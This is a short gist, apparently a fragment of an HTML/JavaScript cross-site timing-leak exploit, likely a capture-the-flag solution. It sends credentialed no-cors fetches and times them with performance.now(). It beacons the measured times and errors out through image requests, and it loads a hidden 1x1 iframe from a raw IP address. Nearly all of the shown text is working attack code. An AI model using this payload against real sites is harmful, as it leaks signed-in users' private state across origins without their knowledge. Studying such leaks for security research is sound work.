gistfile1.txt

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    mode: "no-cors",
    credentials: "include"
  }).then((response) => {
    var end  = performance.now();
    (new Image()).src = '/time.html?time=' + (end - start);
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    (new Image()).src = '/err?' + (err);
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}, 1200);
</script>
<iframe width=1 height=1 src="http://34.84.161.130:18364/?TSG..."></iframe>